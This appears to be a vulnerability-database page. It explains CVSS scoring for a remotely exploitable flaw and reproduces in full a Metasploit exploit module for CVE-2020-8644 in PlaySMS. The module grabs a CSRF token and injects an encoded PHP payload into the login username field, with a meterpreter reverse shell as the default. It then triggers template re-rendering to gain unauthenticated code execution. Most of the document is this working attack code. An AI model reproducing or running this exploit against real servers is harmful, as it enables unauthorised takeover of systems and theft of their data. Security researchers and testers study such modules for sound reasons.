The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: PlaySMS index.php Unauthenticated Template Injection Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PlaySMS index.php Unauthenticated Template Injection Code Execution',
'Description' => %q{
This module exploits a preauth Server-Side Template Injection vulnerability that leads to remote code execution
in PlaySMS before version 1.4.3. This issue is caused by double processing a server-side template with a custom
PHP template system called 'TPL' which is used in the PlaySMS template engine at
`src/Playsms/Tpl.php:_compile()`. The vulnerability is triggered when an attacker supplied username with a
malicious payload is submitted. This malicious payload is then stored in a TPL template which when rendered a
second time, results in code execution.
The TPL(https://github.com/antonraharja/tpl) template language is vulnerable to PHP code injection.
This module was tested against PlaySMS 1.4 on HackTheBox's Forlic Machine.
},
'Author' =>
[
'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Metasploit Module
'Lucas Rosevear' # Found and Initial PoC by NCC Group
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2020-8644'],
['URL', 'https://www.youtube.com/watch?v=zu-bwoAtTrc'],
['URL', 'https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/']
],
'DefaultOptions' =>
{
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'ENCODER' => 'php/base64'
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'PlaySMS Before 1.4.3', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2020-02-05'
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'Base playsms directory path', '/']),
]
)
end
def uri
return target_uri.path
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php')
})
rescue StandardError
vprint_error('Unable to access the index.php file')
return CheckCode::Unknown
end
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')
return Exploit::CheckCode::Appears
end
return CheckCode::Safe
end
# Send Payload in Login Request
def login
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'vars_get' => {
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login'
}
})
# Grabbing CSRF token from body
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine the CSRF token") if csrf.nil?
vprint_good("X-CSRF-Token for login : #{csrf}")
cookies = res.get_cookies
vprint_status('Trying to send the payload in the username field...')
# Encoded in base64 to avoid HTML TAGS which are filter by the Application which is also blocking semicolon(;), that is why we're using delete_suffix(';')
evil = "{{#{payload.encoded.delete_suffix(';')}}}"
# Send Payload with cookies.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login',
'op' => 'login'
}.to_a.shuffle],
'vars_post' => Hash[{
'X-CSRF-Token' => csrf,
'username' => evil,
'password' => ''
}.to_a.shuffle]
})
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?
# Request Status Check
if res.code == 302
print_good('Payload successfully sent')
return cookies
else
fail_with(Failure::UnexpectedReply, "#{peer} - Something went wrong")
end
end
def exploit
cookies = login
vprint_status("Cookies here : #{cookies}")
# Execute Last Sent Username.
send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'cookie' => cookies,
'vars_get' => {
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login'
}
}, 0)
end
end